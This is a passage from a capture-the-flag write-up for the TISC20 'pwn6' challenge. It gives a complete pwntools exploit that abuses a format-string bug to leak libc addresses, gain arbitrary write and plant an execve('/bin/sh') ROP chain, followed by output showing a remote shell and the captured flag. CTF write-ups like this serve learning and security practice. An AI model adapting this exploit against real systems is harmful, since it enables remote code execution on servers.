Once we can calculate the various values in the GOT entries, we can query a libc database to identify the libc running on the remote server.

Checking the libc database for the appropriate .so from leaked addresses

The first thing I tried after obtaining the offsets was a computed magic one_gadget written to the __free_hook in libc. This can be triggered by specifying a large enough format string like %100000c. Unfortunately, it appears that the binary is built weird and things like system did not seem to work.

Thus, a method of writing a ROP chain was necessary. Since the primitives already exist, this was possible. All that was needed to be done was to discover the offset of where the return address was stored at.

This turned out to be offset 9 while analysing the binary in GDB:

gef>  x/32xg $rsp
0x7ffe18c89270:	0x00007ffe18c89360	0x0000000000000000
0x7ffe18c89280:	0x0000564a60e402e0	0x00007fb62f16bb97
...
$ ./stolen_elf
Welcome to Anoroc Riga Server

  Key-Value Storage Service

==============================

Number of users pwned today: 5908
Function Not Yet Implemented

%9$p
0x7fb62f16bb97

At this point, there was some friction as the standard system("/bin/sh") ROP chains were not working. So I decided to verify it by trying out a ROP chain that read from /etc/passwd.

Reading /etc/passwd using the ROP chain

Eventually, after emulating the the environment on a VM, I realised that system was not working for some reason. Instead, I went for execve("/bin/sh", 0, 0) instead and that solved the problems.

The full exploit is as follows:

#!/usr/bin/python

from pwn import *
import pwnlib

#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')


def run_leak(p, payload):
    prefix = b"XXXX"
    postfix = b'ZZZZ'
    total = prefix + payload + postfix
    p.sendline(total)
    p.recvuntil(prefix)
    data = p.recvuntil(postfix)
    return data[:-4]

def adjust_bouncer(p, base, index, offset=0):
    # Adjust the value of index 39 to point at a particular index.
    address = base + (index * 8) + offset
    lower_address = address & 0xffff
    payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
    p.sendline(payload)
    p.recv()

def leak_address(p, index):
    payload = ('%' + str(index) + '$p').encode('utf-8')
    r = run_leak(p, payload)
    address = int(r, 16)
    return address

def leak_data(p, index):
    payload = ('%' + str(index) + '$s').encode('utf-8')
    r = run_leak(p, payload)
    return r

def write_single(p, value, target_index=39):
    back_str = b'%' + str(target_index).encode('utf-8') + b'$hn'
    # Value must be a 2 bytes short
    if value > 0:
        payload = b'%' + str(value).encode('utf-8') + b'c' + back_str
    else:
        payload = back_str
    p.sendline(payload)
    p.recv()

def write_index(p, index_base, index, address):
    # Writes an arbitrary address to an index.
    if index == 39:
        # NOT ALLOWEEED
        return

    for i in range(0, 8, 2):
        current_portion = (address >> (i * 8)) & 0xffff
        adjust_bouncer(p, index_base, index, offset=i)
        write_single(p, current_portion)

def arbitrary_read(p, index_base, address):
    write_index(p, index_base, 41, address)
    data = leak_data(p, 41)
    return data

def arbitrary_write(p, index_base, address, value):
    for i in range(0, 8, 2):
        write_index(p, index_base, 42, address + i)
        current_portion = (value >> (i * 8)) & 0xffff
        write_single(p, current_portion, target_index=42)

def main():
    p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)

    # Index 17 points to Index 38
    # Figure out address of Index 38
    index_17_value = leak_address(p, 17)
    index_38_address = index_17_value
    log.info("Got address of index 38: 0x%x" % index_38_address)

    # Figure out index 0
    index_base = index_38_address - (38 * 8)
    log.info("RSP (index 0): 0x%x" % index_base)

    # Figure out the halfed address to index 39
    index_26_value = leak_address(p, 26)
    log.info("Got address of index 26 (index 39): 0x%x" % index_26_value)

    index_39_value = leak_address(p, 39)
    log.info("Got value of index 39: 0x%x" % index_39_value)

    # Leak address of the format string just to verify.
    index_4_value = leak_address(p, 4)
    log.info("Got address of index 4 (format string): 0x%x" % index_4_value)

    #write_index(p, index_base, 41, index_4_value, 0)

    #log.info("Systems Test: 0x%x" % leak_address(p, 41))
    #log.info("Verify that format string shows up: %s" % leak_data(p, 41).decode("utf-8"))

    # Leak address of possible .text.
    index_7_value = leak_address(p, 7)
    log.info("Got address of index 7 (.text address): 0x%x" % index_7_value)
    elf_start = index_7_value & 0xffffffffffffe000
    log.info("ELF Start: 0x%x" % elf_start)

    def leak(address):
        return arbitrary_read(p, index_base, address)

    elf_header = leak(elf_start)
    log.info("ELF Start Bytes: %s" % elf_header)

    if b'\x7fELF\x02\x01\x01' != elf_header:
        log.info('Attempt failed.')
        return

    # Leak [email protected]
    printf_got_offset = 0x3fb8
    printf_got = u64(leak(elf_start + printf_got_offset).ljust(8, b"\x00"))
    log.info("[email protected]: 0x%x" % printf_got)

    # Leak [email protected]
    gets_got_offset = 0x3fc8
    gets_got = u64(leak(elf_start + gets_got_offset).ljust(8, b"\x00"))
    log.info("[email protected]: 0x%x" % gets_got)

    # Leak [email protected]
    puts_got_offset = 0x3fa8
    puts_got = u64(leak(elf_start + puts_got_offset).ljust(8, b"\x00"))
    log.info("[email protected]: 0x%x" % puts_got)

    # Leak [email protected]
    rand_got_offset = 0x3fd0
    rand_got = u64(leak(elf_start + rand_got_offset).ljust(8, b"\x00"))
    log.info("[email protected]: 0x%x" % rand_got)

    # Calculate stuff
    libc_system_offset = 0x055410
    libc_puts_offset = 0x0875a0
    libc_printf_offset = 0x064e10
    libc_gets_offset = 0x086af0
    libc_write_offset = 0x111040
    libc_read_offset = 0x110fa0
    libc_binsh_offset = 0x1b75aa
    libc_execl_offset = 0xe64f0
    libc_execve_offset = 0xe6160
    libc_open_offset = 0x110cc0
    libc_ret_gadget = 0x0000000000025679
    libc_mprotect_offset = 0x11b970
    libc_base = puts_got - 0x0875a0
    log.info('libc Base: 0x%x' % libc_base)
    system_addr = libc_base + libc_system_offset
    log.info('system: 0x%x' % system_addr)
    puts_addr = libc_base + libc_puts_offset
    log.info('puts: 0x%x' % puts_addr)
    binsh_addr = libc_base + libc_binsh_offset
    log.info('/bin/sh: 0x%x' % binsh_addr)
    execl_addr = libc_base + libc_execl_offset
    log.info('execl: 0x%x' % execl_addr)
    execve_addr = libc_base + libc_execve_offset
    log.info('execve: 0x%x' % execve_addr)
    read_addr = libc_base + libc_read_offset
    log.info('read: 0x%x' % read_addr)
    open_addr = libc_base + libc_open_offset
    log.info('open: 0x%x' % open_addr)
    ret_addr = libc_base + libc_ret_gadget
    log.info('ret gadget: 0x%x' % ret_addr)
    mprotect_addr = libc_base + libc_mprotect_offset
    log.info('mprotect gadget: 0x%x' % mprotect_addr)

    # Calculate one gadget
    # 0xe6ce9 execve("/bin/sh", rsi, rdx)
    # constraints:
    # [rsi] == NULL || rsi == NULL
    # [rdx] == NULL || rdx == NULL
    one_gadget_offset = 0xe6ce9
    one_gadget = libc_base + one_gadget_offset
    log.info('One Gadget: 0x%x' % one_gadget)

    # Calculate the __free_hook address
    libc_free_hook_offset = 0x1eeb28
    free_hook_addr = libc_base + libc_free_hook_offset
    log.info("__free_hook: 0x%x" % free_hook_addr)

    # Calculate the __malloc_hook address
    libc_malloc_hook_offset = 0x1ebb70
    malloc_hook_addr = libc_base + libc_malloc_hook_offset
    log.info("__malloc_hook: 0x%x" % malloc_hook_addr)

    test_address = 0x11a3 + elf_start

    #arbitrary_write(p, index_base, free_hook_addr, test_address)

    #free_hook_leak = u64(leak(free_hook_addr).ljust(8, b"\x00"))
    #log.info("free_hook: 0x%x" % free_hook_leak)

    #p.sendline('%65537cZZZZ')

    # Calculate gadgets
    pop_rdi_offset = 0x0000000000026b72
    pop_rdi = libc_base + pop_rdi_offset
    log.info('pop rdi; ret: 0x%x' % pop_rdi)
    pop_rsi_offset = 0x0000000000027529
    pop_rsi = libc_base + pop_rsi_offset
    log.info('pop rsi; ret: 0x%x' % pop_rsi)
    pop_rdx_r12_offset = 0x000000000011c1e1
    pop_rdx_r12 = libc_base + pop_rdx_r12_offset
    log.info('pop rdx; pop r12; ret: 0x%x' % pop_rdx_r12)

    cur_gadget = 9

    def add_chain(gadget):
        nonlocal cur_gadget
        write_index(p, index_base, cur_gadget, gadget)
        cur_gadget = cur_gadget + 1

    # Write the rop chain
    #add_chain(pop_rdi)
    #add_chain(binsh_addr)
    #add_chain(ret_addr)

    shellcode = open("shellcode", 'rb').read()

    add_chain(pop_rdi)
    add_chain(binsh_addr)
    add_chain(pop_rsi)
    add_chain(0)
    add_chain(pop_rdx_r12)
    add_chain(0)
    add_chain(0xdeadbeef)
    add_chain(execve_addr)

    p.sendline("ZZZZ")
    p.recvuntil("ZZZZ")
    p.sendline("exit")
    log.success("Enjoy your shell!")
    #p.send(shellcode)

    p.interactive()

if __name__ == '__main__':
    main()

Running the exploit grants us the shell:

$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffcc6610d30
[*] RSP (index 0): 0x7ffcc6610c00
[*] Got address of index 26 (index 39): 0x7ffcc6610d38
[*] Got value of index 39: 0x7ffcc6611f5c
[*] Got address of index 4 (format string): 0x55d9e612c0a0
[*] Got address of index 7 (.text address): 0x55d9e61292e0
[*] ELF Start: 0x55d9e6128000
[*] ELF Start Bytes: b'\x7fELF\x02\x01\x01'
[*] [email protected]: 0x7f63bd1e1e10
[*] [email protected]: 0x7f63bd203af0
[*] [email protected]: 0x7f63bd2045a0
[*] [email protected]: 0x7f63bd1c7e90
[*] libc Base: 0x7f63bd17d000
[*] system: 0x7f63bd1d2410
[*] puts: 0x7f63bd2045a0
[*] /bin/sh: 0x7f63bd3345aa
[*] execl: 0x7f63bd2634f0
[*] execve: 0x7f63bd263160
[*] read: 0x7f63bd28dfa0
[*] open: 0x7f63bd28dcc0
[*] ret gadget: 0x7f63bd1a2679
[*] mprotect gadget: 0x7f63bd298970
[*] One Gadget: 0x7f63bd263ce9
[*] __free_hook: 0x7f63bd36bb28
[*] __malloc_hook: 0x7f63bd368b70
[*] pop rdi; ret: 0x7f63bd1a3b72
[*] pop rsi; ret: 0x7f63bd1a4529
[*] pop rdx; pop r12; ret: 0x7f63bd2991e1
[+] Enjoy your shell!
[*] Switching to interactive mode
$ ls -la /home/pwn6
total 44
drwxr-x--- 1 root pwn6  4096 Aug  7 15:33 .
drwxr-xr-x 1 root root  4096 Jul 25 17:24 ..
-rwxr-x--- 1 root pwn6   220 Feb 25 12:03 .bash_logout
-rwxr-x--- 1 root pwn6  3771 Feb 25 12:03 .bashrc
-rwxr-x--- 1 root pwn6   807 Feb 25 12:03 .profile
-rwxr-x--- 1 root pwn6    49 Jul 25 16:49 flag.txt
-rwxr-xr-x 1 root root 17160 Aug  7 15:33 pwn6
$ cat /home/pwn6/flag.txt
TISC20{c4n_y0u_s33_anything?_042u843hfj34d92394}
$

Flag: TISC20{c4n_y0u_s33_anything?_042u843hfj34d92394}

Leave a Comment